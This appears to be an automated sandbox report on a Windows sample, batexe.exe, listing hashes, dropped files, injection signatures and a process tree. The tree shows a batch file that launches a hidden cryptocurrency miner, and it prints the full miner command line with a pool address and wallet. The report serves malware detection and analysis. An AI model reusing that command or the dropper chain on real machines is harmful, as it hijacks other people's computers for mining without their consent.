73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
293s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13-02-2024 14:29

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4276	b2e.exe
3784	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3784	cpuminer-sse2.exe
3784	cpuminer-sse2.exe
3784	cpuminer-sse2.exe
3784	cpuminer-sse2.exe
3784	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4756-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4756 wrote to memory of 4276	4756	batexe.exe	74
PID 4756 wrote to memory of 4276	4756	batexe.exe	74
PID 4756 wrote to memory of 4276	4756	batexe.exe	74
PID 4276 wrote to memory of 348	4276	b2e.exe	75
PID 4276 wrote to memory of 348	4276	b2e.exe	75
PID 4276 wrote to memory of 348	4276	b2e.exe	75
PID 348 wrote to memory of 3784	348	cmd.exe	78
PID 348 wrote to memory of 3784	348	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4756
- C:\Users\Admin\AppData\Local\Temp\A47D.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A47D.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A47D.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4276
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A74C.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:348
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A47D.tmp\b2e.exe

Filesize
14.6MB

MD5
1d67f0bb8406318ecadf1e340e432f24

SHA1
367ff720d0e278789bd4f8989d36746732e49105

SHA256
f78f6bfaf77d29b2a41bd4949107b5315a11ce38d3565f9ac66f76034dbb87a8

SHA512
97ebbdb66937137036d6747b28cfe0341d948327bddefc48bca3f7a1dbd589cb77cd3547f55781b19980334450a6fdd4e9fc3f9bfaa4a69a7c3eb3a4f0d396c2

Download Submit
C:\Users\Admin\AppData\Local\Temp\A47D.tmp\b2e.exe

Filesize
19.2MB

MD5
2bcc58522b04aba81b3feadf5f87fef2

SHA1
d3056d018532fcfb5e5ce26a435fd3553a45fed0

SHA256
ac9e752e8a1135b94ad303c8142b03d7ee48c1c73e814936ceb4d0b822dec14c

SHA512
909122b11b3b94ea38e9a81890201998e70977501fb2919610420a0aca65ba9344aa9605db5f8bbd3ff15d4021cf268012d26434749a33475e289ca456b6fdd7

Download Submit
C:\Users\Admin\AppData\Local\Temp\A74C.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.8MB

MD5
a3d9841f7eca1aa31c62a8715a34c4d8

SHA1
e73abc853c46394033c85c48b5bac79ae0f03eeb

SHA256
0c6628e6f137d87f7cd0b32b472506ef6053e3e05566f38f3eadb49addc472c3

SHA512
a40788dce636e5c7dcbbf960d2f96761ebbfd05d981d970bf803cc85461e2f4279636019e64a9dcc8b8caa4147019b8e66c25c6b91bdff0b2fa51055d023e6ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
500b898a1735a0a26fe8a5446993ddbd

SHA1
ecc38c2f791c8d00c418e172b0086c0612d52ac4

SHA256
1ab3cad7f75b63198b5b33178a4e2f54a2e2d97a7dae082faccb3e1aaeefbfe5

SHA512
70c5e225e8a5840dde72dee1f9d09fc83fdce2e79e51ddf4e77557fa5f2e713ecc6973ed7c8a26c85978c0a83ae495a094cc72105e041b88cfc1f25be7164059

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
896KB

MD5
f83929cce536e71a3a11e2236c2c6c5f

SHA1
bd0065486a784f1c91e08ada0c3a8f383e23c874

SHA256
f3c7a692875dec174d83dd723c63661fc9de1c0b6548fe3a3f8f8f2015507798

SHA512
815083437ad5659626fba85fa9e31a33ba418d3e1d5f1ec1c7ba77ff5214618493b37821aae3b5b52838ad47f4a7e8c4a3594ee0f970025bc3ee425e9eb50152

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
986KB

MD5
0103478d00e12d2f5fedc80f1fb4b51b

SHA1
5b2b9c1b61a5992632119edf9b78cf326ca41e52

SHA256
dc5137fd78ee0de95644fc853ee86474ea862986dfb5c4a2df1eee45e310064e

SHA512
ac96eb9a002151d4223b0cf5c0ed92a0d3eedde48adc7cc9bdc3c74851048dd7b370d7ded1179b577930f31bc03b8ef5aa8bd8f3dfb2469916d93aaf814e73fe

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
928KB

MD5
1d8ed90fe662f255868f04c23f7cda72

SHA1
4c1eacb0e18cf80014c67f54721440d39b19469f

SHA256
94d110fae4edd35afc3d915bda80dff304d77f6b14664c326535cc538002cf1f

SHA512
cd4ce5f7cc433b3fd61a475aca9c2d9671ee6ddd0a0b93bc7cb9c9857d69ae4159167aceecc0d2f66dc23166958b76c2c819bcf6123f133931aeb5791d530b53

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3784-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3784-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3784-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3784-42-0x00000000667F0000-0x0000000066888000-memory.dmp

Filesize
608KB

Download
memory/3784-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3784-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3784-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/3784-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3784-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3784-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3784-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3784-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3784-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3784-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3784-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4276-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4276-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4756-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download